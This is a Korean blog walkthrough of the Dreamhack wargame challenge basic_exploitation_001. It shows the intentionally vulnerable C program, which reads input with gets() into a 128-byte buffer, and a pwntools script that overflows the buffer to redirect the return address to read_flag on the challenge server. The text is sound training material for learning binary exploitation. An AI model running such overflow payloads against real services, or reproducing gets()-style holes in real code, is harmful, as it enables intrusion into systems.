CTF, War game

[Dreamhack] Level 1: basic_exploitation_001

mnzy๐ŸŒฑ 2024. 10. 12. 20:37

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/3

 

basic_exploitation_001

Description ์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basic_exploitation_001)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค. ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”. "flag" ํŒŒ์ผ์˜ ๋‚ด์šฉ

dreamhack.io

 

์ด ๋ฌธ์ œ๋Š” ์„œ๋ฒ„์—์„œ ์ž‘๋™ํ•˜๊ณ  ์žˆ๋Š” ์„œ๋น„์Šค(basic_exploitation_001)์˜ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ์†Œ์Šค ์ฝ”๋“œ๊ฐ€ ์ฃผ์–ด์ง‘๋‹ˆ๋‹ค.
ํ”„๋กœ๊ทธ๋žจ์˜ ์ทจ์•ฝ์ ์„ ์ฐพ๊ณ  ์ต์Šคํ”Œ๋กœ์ž‡ํ•ด "flag" ํŒŒ์ผ์„ ์ฝ์œผ์„ธ์š”.
"flag" ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์›Œ๊ฒŒ์ž„ ์‚ฌ์ดํŠธ์— ์ธ์ฆํ•˜๋ฉด ์ ์ˆ˜๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
ํ”Œ๋ž˜๊ทธ์˜ ํ˜•์‹์€ DH{...} ์ž…๋‹ˆ๋‹ค.

2. ํ•ด๊ฒฐ ๊ณผ์ •

(1) ๋ฌธ์ œ ๋ถ„์„

๋จผ์ € ์ ์šฉ๋œ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์€ ์•„๋ž˜์™€ ๊ฐ™๋‹ค. (๋ฌธ์ œ์—์„œ๋„ ํ™•์ธ ๊ฐ€๋Šฅ)

NX๋ฅผ ์ œ์™ธํ•˜๊ณ ๋Š” ์ ์šฉ๋œ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์ด ์—†๋‹ค. 

 

์ด ๋ฌธ์ œ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ ํŒŒ์ผ๊ณผ ํ•จ๊ป˜ ์†Œ์Šค์ฝ”๋“œ๋ฅผ ์ œ๊ณตํ•œ๋‹ค. 

  • alarm_handler ํ•จ์ˆ˜:  "TIME OUT"์„ ์ถœ๋ ฅํ•˜๊ณ  ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•œ๋‹ค. 
  • initialize() ํ•จ์ˆ˜: SIGALRM ์‹œ๊ทธ๋„ ํ•ธ๋“ค๋Ÿฌ๋ฅผ ์„ค์ •ํ•œ ๋’ค, 30์ดˆ ํ›„์— ์•Œ๋žŒ์ด ์šธ๋ฆฌ๋„๋ก ์„ค์ •ํ•œ๋‹ค. 
    • SIGALRM ์‹œ๊ทธ๋„์„ ๋ฐ›์œผ๋ฉด alarm_handler ํ•จ์ˆ˜๊ฐ€ ํ˜ธ์ถœ๋˜์–ด ํƒ€์ž„์•„์›ƒ ์ถœ๋ ฅ ํ›„ ํ”„๋กœ๊ทธ๋žจ ์ข…๋ฃŒ
๋”๋ณด๊ธฐ

SIGALRM์ด๋ž€ Unix ๊ณ„์—ด ์šด์˜ ์ฒด์ œ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์‹œ๊ทธ๋„(signal) ์ค‘ ํ•˜๋‚˜์ด๋‹ค. 

  1. ์‹œ๊ทธ๋„(Signal)์ด๋ž€?
    • ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹ ์„ ์œ„ํ•œ ์†Œํ”„ํŠธ์›จ์–ด ์ธํ„ฐ๋ŸฝํŠธ
    • ์šด์˜ ์ฒด์ œ๋‚˜ ๋‹ค๋ฅธ ํ”„๋กœ์„ธ์Šค๊ฐ€ ํ”„๋กœ์„ธ์Šค์— ์–ด๋–ค ์ด๋ฒคํŠธ๊ฐ€ ๋ฐœ์ƒํ–ˆ์Œ์„ ์•Œ๋ฆฌ๋Š” ๋ฐฉ๋ฒ•
  2. SIGALRM:
    • SIGALRM์€ "alarm clock" ์‹œ๊ทธ๋„์ž…๋‹ˆ๋‹ค.
    • ์ฃผ๋กœ alarm() ํ•จ์ˆ˜๋‚˜ setitimer() ํ•จ์ˆ˜์™€ ํ•จ๊ป˜ ์‚ฌ์šฉ
    • ์ง€์ •๋œ ์‹œ๊ฐ„์ด ๊ฒฝ๊ณผํ–ˆ์„ ๋•Œ ํ”„๋กœ์„ธ์Šค์— ์ „๋‹ฌ
  3. SIGALRM์˜ ์ฃผ์š” ์šฉ๋„:
    • ํƒ€์ž„์•„์›ƒ ๊ตฌํ˜„: ํŠน์ • ์ž‘์—…์ด ์ •ํ•ด์ง„ ์‹œ๊ฐ„ ๋‚ด์— ์™„๋ฃŒ๋˜์ง€ ์•Š์œผ๋ฉด ํ”„๋กœ๊ทธ๋žจ์„ ์ข…๋ฃŒํ•˜๊ฑฐ๋‚˜ ๋‹ค๋ฅธ ๋™์ž‘์„ ์ˆ˜ํ–‰ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ๋‹ค.
    • ์ฃผ๊ธฐ์ ์ธ ์ž‘์—… ์‹คํ–‰: ์ผ์ • ๊ฐ„๊ฒฉ์œผ๋กœ ๋ฐ˜๋ณต๋˜๋Š” ์ž‘์—…์„ ๊ตฌํ˜„ํ•  ๋•Œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค.

SIGALRM์€ ํ”„๋กœ๊ทธ๋žจ์— ์‹œ๊ฐ„ ์ œํ•œ์„ ๋‘ ์œผ๋กœ์จ, ๋ฌดํ•œ ๋ฃจํ”„๋‚˜ ๊ธด ์‹คํ–‰ ์‹œ๊ฐ„์œผ๋กœ ์ธํ•œ ์ž์› ๊ณ ๊ฐˆ์„ ๋ฐฉ์ง€ํ•˜๊ณ , ํƒ€์ž„์•„์›ƒ ๊ธฐ๋ฐ˜์˜ ๋™์ž‘์„ ๊ตฌํ˜„ํ•˜๋Š” ๋ฐ ์œ ์šฉํ•˜๊ฒŒ ์‚ฌ์šฉ๋œ๋‹ค.

- claude ์‚ฌ์šฉ

main์—์„œ๋Š” 128๋ฐ”์ดํŠธ(0x80) ํฌ๊ธฐ์˜ ๋ฒ„ํผ๋ฅผ ์„ ์–ธํ•˜๊ณ  initialize ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœํ•œ ๋’ค, gets() ํ•จ์ˆ˜๋กœ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋‹ค. 

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}


void read_flag() {
    system("cat /flag");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();
    
    gets(buf);

    return 0;
}

 

gets()ํ•จ์ˆ˜๋Š” bof์ทจ์•ฝ์ ์ด ์žˆ๋Š” ๋Œ€ํ‘œ์ ์ธ ํ•จ์ˆ˜ ์ค‘ ํ•˜๋‚˜์ด๋‹ค. 

์ž…๋ ฅ๊ฐ’์˜ ํฌ๊ธฐ๋ฅผ ์‚ฌ์šฉ์ž๊ฐ€ ์ž„์˜๋กœ ํ‚ค์šธ ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. 

๋”ฐ๋ผ์„œ ๋ฒ„ํผ(0x80)๋ณด๋‹ค ํฐ ๊ฐ’์„ ์ž…๋ ฅํ•˜์—ฌ return ์ฃผ์†Œ์˜ ๊ฐ’์„ ๋ฎ์–ด์จ read_flag ํ•จ์ˆ˜๋ฅผ ํ˜ธ์ถœ ์‹œํ‚ฌ ๊ฒƒ์ด๋‹ค. 

 

๊ทธ๋Ÿฌ๊ธฐ ์œ„ํ•ด์„œ๋Š” gdb๋กœ read_flag ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๊ฐ’์„ ํ™•์ธํ•˜์˜€๋‹ค. (IDA๋กœ๋„ ํ™•์ธ ๊ฐ€๋Šฅ)

PIE (Position Independent Executable)๊ฐ€ ๋น„ํ™œ์„ฑํ™”๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์—, ์‹คํ–‰ ํŒŒ์ผ์˜ ์ฝ”๋“œ ์„น์…˜ ์ฃผ์†Œ๋Š” ๊ณ ์ •๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์— ์ฃผ์†Œ๊ฐ’์„ ๊ทธ๋Œ€๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋‹ค. 

  • info functions {์ฐพ๋Š” ํŠน์ • ํ•จ์ˆ˜ ์ด๋ฆ„}

 

(2) ์ต์Šคํ”Œ๋กœ์ž‡

pwntools๋ฅผ ์ด์šฉํ•ด์„œ ์•„๋ž˜ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์˜€๋‹ค. 

from pwn import *

# ์„œ๋ฒ„ ์—ฐ๊ฒฐ ์ ‘์† ์ •๋ณด
host = 'host3.dreamhack.games'
port = 10381

context.log_level = 'debug'

# ์„œ๋ฒ„ ์—ฐ๊ฒฐ
conn = remote(host, port)

# read_flag ํ•จ์ˆ˜์˜ ์ฃผ์†Œ 
read_flag_addr = 0x080485b9 

# ํŽ˜์ด๋กœ๋“œ 
payload = b'A' * 0x80  # buf์˜ ํฌ๊ธฐ
payload += b'B' * 4    # saved ebp
payload += p32(read_flag_addr)  # return address๋ฅผ read_flag ํ•จ์ˆ˜์˜ ์ฃผ์†Œ๋กœ ๋ฎ์–ด์”€ 

print(f"payload: {payload}")

# ํŽ˜์ด๋กœ๋“œ ์ „์†ก
conn.sendline(payload)

print("waiting for response...")

# ์‘๋‹ต ์ˆ˜์‹  ๋ฐ ์ถœ๋ ฅ
response = conn.recvall()
print(response.decode())

# ์—ฐ๊ฒฐ ์ข…๋ฃŒ
conn.close()

 

(3) ํ”Œ๋ž˜๊ทธ